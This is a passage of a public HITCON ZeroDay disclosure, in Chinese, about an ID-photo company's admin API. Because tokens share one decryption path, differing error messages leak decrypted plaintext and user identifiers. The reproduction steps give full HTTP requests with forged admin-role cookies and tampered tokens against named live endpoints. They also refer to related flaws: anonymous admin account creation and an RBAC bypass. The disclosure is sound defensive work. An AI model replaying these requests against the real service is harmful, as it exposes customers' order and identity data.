悟空科技股份有限公司 跨用途 token 可進入相同解析流程,差異化錯誤訊息導致解密後明文與使用者識別資訊外洩 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00963
  •  發信 Vendor: 悟空科技股份有限公司
  • Title: 悟空科技股份有限公司 跨用途 token 可進入相同解析流程,差異化錯誤訊息導致解密後明文與使用者識別資訊外洩
  • Introduction: 後台不同端點取得的 token 可進入相同或高度相容的解析流程。當 token 類型不符或內容遭變造時,後端會回傳差異化錯誤訊息,並暴露解析階段、解密失敗的明文殘片或完整解密後內容,進而洩漏使用者識別資訊、token 內部資料結構,以及與圖片資源相關的內部資料字串。

處理狀態

目前狀態

公開
Last Update : 2026/09/27
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/07/28 10:26:32 : 新提交 (由 更新此狀態)
  • 2026/07/28 11:06:54 : 新提交 (由 更新此狀態)
  • 2026/07/28 11:59:04 : 新提交 (由 更新此狀態)
  • 2026/08/03 12:58:05 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 19:01:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 19:01:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 19:01:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/27 03:00:21 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00963
  • 通報者:S_Cyrus ()
  • 風險:中
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

### 敏感操作端點

```text
https://helper.diyidphoto.com/api/refund
https://helper.diyidphoto.com/api/cancel-invoice
```

### 取得 token 的端點

```text
https://helper.diyidphoto.com/api/orders/search/date?diy_type=tw
https://helper.diyidphoto.com/api/orders/search/date?diy_type=ja
https://helper.diyidphoto.com/api/gallery/list?site=tw
```

### 訂單圖片端點

```text
https://helper.diyidphoto.com/api/order/img/origin/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/face/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/ruler/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/beauty/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/final/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/formal/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/formal_711/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/formal_family/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/receipt_jp/<Image_Token>?t=<timestamp>
```

### Gallery 圖片端點

```text
https://helper.diyidphoto.com/api/gallery/img/<Origin_Token>
https://helper.diyidphoto.com/api/gallery/img/<Final_Token>
https://helper.diyidphoto.com/api/gallery/img/<PreviewOrigin_Token>
https://helper.diyidphoto.com/api/gallery/img/<PreviewFinal_Token>
```

敘述

0. 摘要(Summary)

如同低權限後台帳號可繞過 RBAC所述,在測試後台管理頁面 https://helper.diyidphoto.com/ 時可發現:

  • 請求 POST /api/orders/search/date?diy_type=tw 或 POST /api/orders/search/date?diy_type=ja 後,可取得 OrderID 以及兩種 token,其分別為 Order_Token 與 Image_Token

  • 請求 POST /api/gallery/list?site=tw 後,可取得四種 token,分別為 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token

  • 在訂單查詢(/orders)功能,有以下兩項牽涉到敏感操作的端點:

   POST /api/refund # 退款功能,請求需攜帶 `OrderID` 與 `Token` 參數。
   POST /api/cancel-invoice # 取消發票功能,請求需攜帶 `OrderID` 與 `Token` 參數。

將上述共六種 token 放入上述敏感操作端點的 Token 參數,可區分以下四種情境:

(本報告為保持最小測試與不影響商業營運,皆使用未付款訂單之資料)

  1. Order_Token

    • token 未經變造

      • 與取得的 OrderID 匹配,此為情境一,錯誤訊息依端點不同,會顯示如下:

      • /api/refund 端點顯示 該筆訂單編號不存在: <OrderID>

      • /api/cancel-invoice 端點回傳 {"error_code":0,"error_text":"","data":null},未顯示錯誤訊息

      • 與取得的 OrderID 不匹配,此為情境二,錯誤訊息依端點不同,會顯示如下:

      • /api/refund 端點顯示 valid order not found

      • /api/cancel-invoice 端點顯示 訂單編號不匹配

    • token 經變造,此為情境三,錯誤訊息會顯示明文殘片,例如:

   encoding/hex: ...
   crypto/cipher: input not full blocks
   解密後,資料數量不是三個
   解密後,資料數量不是pure
   runtime error: slice bounds out of range

這裡需注意的是,透過明文殘片可拼湊出 Order_Token 明文格式為 pure|<UUID>|<OrderID>

  1. 其它五種 token(Image_Token、Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token)

    • token 未經變造,無論與 OrderID 匹配或不匹配,此為情境四,錯誤訊息會顯示如下:
  解密後,資料數量不是pure! admin|<UUID>|<OrderID>
  解密後,資料數量不是三個! gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/origin_<OrderID>_<Numbers>.jpg
  解密後,資料數量不是三個! gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/final_<OrderID>_<Numbers>.jpg
  解密後,資料數量不是三個! gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_origin_<OrderID>_<Numbers>.jpg
  解密後,資料數量不是三個! gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_final_<OrderID>_<Numbers>.jpg

這裡需注意的是,錯誤訊息中的 UUID、OrderID、Date 等資訊是根據放入的 token 而決定;

意即使用他人的 token 時,錯誤訊息會洩漏其 UUID、Date 及解密後資料結構。

  • token 經變造,如同情境三。

此漏洞洩漏了以下資訊:

  1. 後台中的 token 為十六進位編碼的加密資料,後端會先進行解碼與解密。

  2. 後端會對 token 做 hex decode、block decrypt、明文切割、TYPE 檢查等行為。

  3. 台日站點皆受影響,不同端點( /orders 與 /gallery )之多筆訂單(Order_Token)和多種圖片類型(Image_Token 與 Origin_Token 等)的 token,可被相同或高度相容的解密機制解析。

  4. 不同用途的 token 可進入相同或相容的解密流程,後端再依解密後的 TYPE 欄位判斷是否符合端點預期;共用流程本身不必然構成漏洞,問題在於錯誤回應暴露了解密後內容與內部處理階段。


1. 受影響功能(Affected Feature)

  • 功能:後台訂單操作、圖片讀取與營運操作 token 驗證流程

  • 受影響端點:

    • POST /api/refund
    • POST /api/cancel-invoice
  • 受影響參數:

    • OrderID
    • Token
  • 主要觀察 token 類型:

    • 透過 /orders 路徑取得之 token,如以下:
{
  "error_code": 0,
  "error_text": "",
  "data": [
    {
      "orderID": "<OrderID>",
      "token": "<Order_Token>",
      ...,
      "images": {
        "origin": "/api/order/img/origin/<Image_Token>?t=<timestamp>",
        "face": "/api/order/img/face/<Image_Token>?t=<timestamp>",
        "ruler": "/api/order/img/ruler/<Image_Token>?t=<timestamp>",
        "beauty": "/api/order/img/beauty/<Image_Token>?t=<timestamp>",
        "final": "/api/order/img/final/<Image_Token>?t=<timestamp>",
        "formal": "/api/order/img/formal/<Image_Token>?t=<timestamp>",
        "formal711": "/api/order/img/formal_711/<Image_Token>?t=<timestamp>",
        "formalFamily": "/api/order/img/formal_family/<Image_Token>?t=<timestamp>",
        "receipt": "/api/order/img/receipt_jp/<Image_Token>?t=<timestamp>"
      }
    },
    ...
  ]
}
  • 透過 /gallery 路徑取得之 token,如以下:
{
  "error_code": 0,
  "error_text": "",
  "data": [
    {
      "Name": "origin_<OrderID>_<Numbers>",
      "Origin": "/api/gallery/img/<Origin_Token>",
      "Final": "/api/gallery/img/<Final_Token>",
      "PreviewOrigin": "/api/gallery/img/<PreviewOrigin_Token>",
      "PreviewFinal": "/api/gallery/img/<PreviewFinal_Token>",
      "Size": "<Size>",
      "PrePay": <PrePay>
    },
    ...
  ]
}
  • 已觀察到的明文型態包含:
pure|<UUID>|<OrderID>
admin|<UUID>|<OrderID>
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/final_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_final_<OrderID>_<Numbers>.jpg

2. 漏洞驗證之前置條件(Preconditions for Verification)


3. 重現步驟(Steps to Reproduce)與概念驗證(Proof of Concept)

以下重現步驟皆使用 Burp Suite 作為工具。
以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖,所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留,若需要可再補充。


步驟 1:準備測試資料、登入後台並取得六種 token

  1. 在 Burp Suite 的瀏覽器連上台灣站 https://diyidphoto.com/zh-tw/ 或日本站 https://jp.diyidphoto.com/ 上傳 2 張測試圖片,並一路進行到付款頁面;付款方式選擇街口支付、LINE Pay、PayPay 等掃碼式支付方式以避免實際付款,填妥相關資料並點擊確定後,網站會跳轉至 QR code 付款頁面。

  2. 瀏覽器另一個分頁開啟 https://helper.diyidphoto.com/login ,並使用已建立的帳號及密碼登入。可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。

  3. 順利登入後,點選左側管理控制面板(admin panel)進入訂單管理頁面(/orders);接著根據今日日期搜尋訂單,應會看見包含其他使用者與剛剛上傳的圖片與訂單資訊(包括OrderID)。若在日本站上傳測試圖片,需-點擊左上角 DIY 旁類似雙彎曲箭頭的按鈕-切換為日本站後台,再到訂單管理頁面進行查詢。

  4. 在 Burp Suite 的 Proxy 頁籤中的 HTTP history,應可看到 POST /api/orders/search/date?diy_type=tw 或 POST /api/orders/search/date?diy_type=ja 請求,其 Response 回傳各訂單相關資訊,如以下:

{
  "error_code": 0,
  "error_text": "",
  "data": [
    {
      "orderID": "<OrderID>",
      "token": "<Order_Token>",
      ...,
      "images": {
        "origin": "/api/order/img/origin/<Image_Token>?t=<timestamp>",
        "face": "/api/order/img/face/<Image_Token>?t=<timestamp>",
        "ruler": "/api/order/img/ruler/<Image_Token>?t=<timestamp>",
        "beauty": "/api/order/img/beauty/<Image_Token>?t=<timestamp>",
        "final": "/api/order/img/final/<Image_Token>?t=<timestamp>",
        "formal": "/api/order/img/formal/<Image_Token>?t=<timestamp>",
        "formal711": "/api/order/img/formal_711/<Image_Token>?t=<timestamp>",
        "formalFamily": "/api/order/img/formal_family/<Image_Token>?t=<timestamp>",
        "receipt": "/api/order/img/receipt_jp/<Image_Token>?t=<timestamp>"
      }
    },
    ...
  ]
}

記住自己上傳的兩個測試圖片的 OrderID、Order_Token 與 Image_Token;前兩者會在步驟 3 使用,最末者會在步驟 5 使用。

在接下來的步驟中,如有需要區分兩個測試圖片的 OrderID、Order_Token 與 Image_Token,會用以下表示法區分:

  • 第 1 個測試圖片: <OrderID_1>、<Order_Token_1>、<Image_Token_1>
  • 第 2 個測試圖片: <OrderID_2>、<Order_Token_2>、<Image_Token_2>
  1. 點選左側管理控制面板進入已上傳照片集(/gallery)功能,應會看見今日包含其他使用者與剛剛上傳的圖片。

  2. 在 Burp Suite 的 HTTP history,應可看到 POST /api/gallery/list?site=tw 請求,其 Response 回傳各訂單相關資訊,如以下:

{
  "error_code": 0,
  "error_text": "",
  "data": [
    {
      "Name": "origin_<OrderID>_<Numbers>",
      "Origin": "/api/gallery/img/<Origin_Token>",
      "Final": "/api/gallery/img/<Final_Token>",
      "PreviewOrigin": "/api/gallery/img/<PreviewOrigin_Token>",
      "PreviewFinal": "/api/gallery/img/<PreviewFinal_Token>",
      "Size": "<Size>",
      "PrePay": <PrePay>
    },
    ...
  ]
}

記住自己上傳的兩個測試圖片的 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,以便在步驟 6 使用。

在接下來的步驟中,若有需要區分兩個測試圖片的 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,會用以下表示法區分:

  • 第 1 個測試圖片: <Origin_Token_1>、<Final_Token_1>、<PreviewOrigin_Token_1>、<PreviewFinal_Token_1>
  • 第 2 個測試圖片: <Origin_Token_2>、<Final_Token_2>、<PreviewOrigin_Token_2>、<PreviewFinal_Token_2>

圖片


步驟 2:確認敏感操作端點需要 OrderID 與 Token 參數

  1. 在 Burp Suite 的 HTTP history,對任一 Host 為 helper.diyidphoto.com 之請求,點選右鍵,發送至 Repeater,接著修改其請求路徑為以下:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{}

目的是對 refund 端點送出空 JSON body,確認此端點需要 OrderID 與 Token。

送出該請求後,在 Response 可見

{
  "error_code": 9901,
  "error_text": "Key: 'RefundRequest.OrderID' Error: Field validation for 'OrderID' failed on the 'required' tag\nKey: 'RefundRequest.Token' Error: Field validation for 'Token' failed on the 'required' tag",
  "data": null
}

即代表 OrderID 與 Token 為必要欄位。

  1. 對 cancel-invoice 端點做相同測試:
POST /api/cancel-invoice HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{}

送出請求後,在 Response 可見

{
  "error_code": 9901,
  "error_text": "Key: 'CancelInvoice.OrderID' Error: Field validation for 'OrderID' failed on the 'required' tag\nKey: 'CancelInvoice.Token' Error: Field validation for 'Token' failed on the 'required' tag",
  "data": null
}

這代表 OrderID 與 Token 為必要欄位。

圖片


以下依序驗證四個情境。


步驟 3:驗證未變造的 Order_Token

情境一:Order_Token 與 OrderID 匹配

將在步驟 1 中,透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID 與 Order_Token 填入以下端點,並進行請求:

POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID_1>",
  "Token": "<Order_Token_1>"
}

送出請求後,在 Response 可見 該筆訂單編號不存在: <OrderID>

POST /api/cancel-invoice HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID_1>",
  "Token": "<Order_Token_1>"
}

送出請求後,在 Response 可見 {"error_code":0,"error_text":"","data":null},未顯示錯誤訊息

情境二:Order_Token 與 OrderID 不匹配

將在步驟 1 中,透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID 與第 2 個測試圖片的 Order_Token 填入以下端點,並進行請求,造成兩者不匹配:

POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID_1>",
  "Token": "<Order_Token_2>"
}

送出請求後,在 Response 可見 valid order not found

POST /api/cancel-invoice HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID_1>",
  "Token": "<Order_Token_2>"
}

送出請求後,在 Response 可見 訂單編號不匹配

圖片


步驟 4:驗證 token 經變造時的錯誤回應

情境三:token 經變造

由於 POST /api/refund 與 POST /api/cancel-invoice 的結果相同,以下皆以 POST /api/refund 為例。

步驟 4.1:送入不合規的十六進位 token,觸發 hex decode 錯誤

  1. 對 refund 送入不合規或不完整十六進位 token,OrderID 填寫步驟 1 中任一測試圖片的 OrderID,例如:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID>",
  "Token": "a"
}

送出請求後,在 Response 可見 encoding/hex: odd length hex string

POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID>",
  "Token": "g"
}

送出請求後,在 Response 也可見 encoding/hex: invalid byte: U+0067 'g'

同樣出現 hex decode 相關錯誤。

這一步確認後端會把 token 當作十六進位編碼資料處理。

圖片


步驟 4.2:送入合規十六進位但長度不符的 token,觸發區塊長度(block length)錯誤

  1. 對同一端點送入合規十六進位,但長度不符合區塊大小(block size)的 token,例如:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID>",
  "Token": "00"
}

送出請求後,在 Response 可見crypto/cipher: input not full blocks (9998)

代表出現區塊加密(Block Cipher)類錯誤。

這一步用來確認 token 經 hex decode 後會進入區塊解密(block decrypt)類處理流程。

圖片


步驟 4.3:送入長度相符(block-aligned)的 Token,觸發解密後解析錯誤

  1. 送入長度符合區塊大小的十六進位 token,例如:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID>",
  "Token": "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
}

送出請求後,在 Response 可見 解密後,資料數量不是三個! \ufffd\ufffd\u0001\ufffd\ufffd\ufffd\u0019P1\ufffdV,\ufffd'\tH\ufffd\ufffd)\ufffd\ufffd\ufffd d\u001b\ufffd5J\ufffd\u001f\u003c\t\ufffd\ufffd)\ufffd\ufffd\ufffd d\u001b\ufffd5J\ufffd\u001f\u003c\t\ufffd\ufffd)\ufffd\ufffd\ufffd

這代表 token 經過解密後進入資料解析階段,資料被檢查與核對數量。

圖片


步驟 4.4:微幅修改 token,觸發解密後解析或邊界處理錯誤

將 token 中其中一個 hex 字元改為另一個 hex 字元。

由於 6 個 token 修改後放入請求的結果大致相同,以下將以 Order_Token 為例,並提供三種修改方式:

原始 token

86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
  1. 修改第 1 位、第 32 位、第 64 位或最末端字元為隨機 hex 字元,例如以下:

第 1 位改為隨機值(8 → e)

e6b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889

第 32 位改為隨機值(1 → a)

86b61aec7f82e0b5e1f4b6a89c01f38a1f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889

第 64 位改為隨機值(d → 4)

86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da0669845b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889

最末端字元改為隨機值(9 → c)

86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388c
  1. 修改第 1 位、第 32 位、第 64 位或最末端字元為 0,例如以下:

第 1 位改為0(8 → 0)

06b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889

第 32 位改為0(1 → 0)

86b61aec7f82e0b5e1f4b6a89c01f3801f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889

第 64 位改為0(d → 0)

86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da0669805b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889

最尾端字元改為0(9 → 0)

86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3880
  1. 只修改最末端字元,但將 hex 字元全輪一遍,例如以下:
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3880
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3881
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3882
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3883
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3884
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3885
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3886
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3887
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3888
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388a
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388b
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388c
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388d
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388e
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388f

將以上修改後的 token 放入請求中:

POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID>",
  "Token": "<Order_Token_Edited>"
}

送出請求後,在 Response 可見不同類型的錯誤訊息,包括以下:

runtime error: slice bounds out of range ...
valid order not found / 訂單編號不匹配
解密後,資料數量不是三個! ...
解密後,有資料為空! ...
解密後,資料數量不是pure! ...

這些錯誤類型代表,token 已從解密階段推進到 split / TYPE check 階段,並進入解密後解析或邊界處理。

而由於以上錯誤類型會混合一些明文殘片,透過拼湊明文殘片可得到 Order_Token 經解密後,其明文格式為 pure|<UUID>|<OrderID>。

圖片


步驟 5:驗證未變造的 Image_Token(情境四)

步驟 5.1:Image_Token 與 OrderID 匹配

將在步驟 1 中,透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID 與 Image_Token 填入以下端點,並進行請求:

POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID_1>",
  "Token": "<Image_Token_1>"
}

送出請求後,在 Response 的錯誤訊息中直接可見解密後明文,如下:

解密後,資料數量不是pure! admin|<UUID_1>|<OrderID_1>

步驟 5.2:Image_Token 與 OrderID 不匹配

將在步驟 1 中,透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID 與第 2 個測試圖片的 Image_Token 填入以下端點,造成兩者不匹配:

POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID_1>",
  "Token": "<Image_Token_2>"
}

送出請求後,在 Response 的錯誤訊息中直接可見解密後明文,如下:

解密後,資料數量不是pure! admin|<UUID_2>|<OrderID_2>

圖片

綜合以上,可知:

  1. 經由 /api/orders/search/date 端點取得的 Order_Token 與 Image_Token,可被相同或相容的機制解密

  2. Order_Token 與 Image_Token 的明文格式為 TYPE|<UUID>|<OrderID>,其 TYPE 會是 pure 或 admin

  3. POST /api/refund 與 POST /api/cancel-invoice 端點,在解密 token 後會進行 TYPE check,檢查 TYPE 是否為 pure;不為 pure,則回傳包含解密後明文的錯誤訊息

  4. 若取得他人 Image_Token-即便 OrderID 不匹配-放入端點解密後,錯誤訊息會額外洩漏原始取得端點未直接顯示的 UUID,以及完整的解密後資料結構


步驟 6:驗證未變造的 Gallery token(情境四)

步驟 6.1:其它四種 token 與 OrderID 匹配

將在步驟 1 中:

  • 透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID
  • 透過 /api/gallery/list 端點取得的第 1 個測試圖片的 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token

填入以下端點並進行請求,以下以 Origin_Token 為例:

POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID_1>",
  "Token": "<Origin_Token_1>"
}

送出請求後,在 Response 的錯誤訊息中直接可見解密後明文,如下:

解密後,資料數量不是三個! gallery|gallery/<Date_1>/<First_Two_Digits_Of_Numbers_1>/origin_<OrderID_1>_<Numbers_1>.jpg

而放入 Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,送出請求後,在 Response 的錯誤訊息中直接可見解密後明文如下:

解密後,資料數量不是三個! gallery|gallery/<Date_1>/<First_Two_Digits_Of_Numbers_1>/final_<OrderID_1>_<Numbers_1>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date_1>/<First_Two_Digits_Of_Numbers_1>/preview_origin_<OrderID_1>_<Numbers_1>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date_1>/<First_Two_Digits_Of_Numbers_1>/preview_final_<OrderID_1>_<Numbers_1>.jpg

圖片

步驟 6.2:其它四種 token 與 OrderID 不匹配

將在步驟 1 中:

  • 透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID
  • 透過 /api/gallery/list 端點取得的第 2 個測試圖片的 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token

填入以下端點,並進行請求,以下以 Origin_Token 為例:

POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

{
  "OrderID": "<OrderID_1>",
  "Token": "<Origin_Token_2>"
}

送出請求後,在 Response 的錯誤訊息中直接可見解密後明文,如下:

解密後,資料數量不是三個! gallery|gallery/<Date_2>/<First_Two_Digits_Of_Numbers_2>/origin_<OrderID_2>_<Numbers_2>.jpg

而放入 Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,送出請求後,在 Response 的錯誤訊息中直接可見解密後明文如下:

解密後,資料數量不是三個! gallery|gallery/<Date_2>/<First_Two_Digits_Of_Numbers_2>/final_<OrderID_2>_<Numbers_2>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date_2>/<First_Two_Digits_Of_Numbers_2>/preview_origin_<OrderID_2>_<Numbers_2>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date_2>/<First_Two_Digits_Of_Numbers_2>/preview_final_<OrderID_2>_<Numbers_2>.jpg

圖片

經過上述步驟後,可知:

  1. 經由 /api/gallery/list 端點取得的 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,也可被相同或相容的機制解密

  2. Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token 的明文格式為:

gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/final_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_final_<OrderID>_<Numbers>.jpg
  1. 若取得他人 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token-即便 OrderID 不匹配-放入端點解密後,錯誤訊息會額外洩漏原始取得端點未直接顯示的 Date,以及完整的解密後資料結構

4. 預期行為(Expected Behavior)

後端拒絕不符預期的 token 後,應回覆一致且模糊化的錯誤訊息。

不同用途的 token 應綁定不同的 scope / audience / action。


5. 實際行為(Actual Behavior)

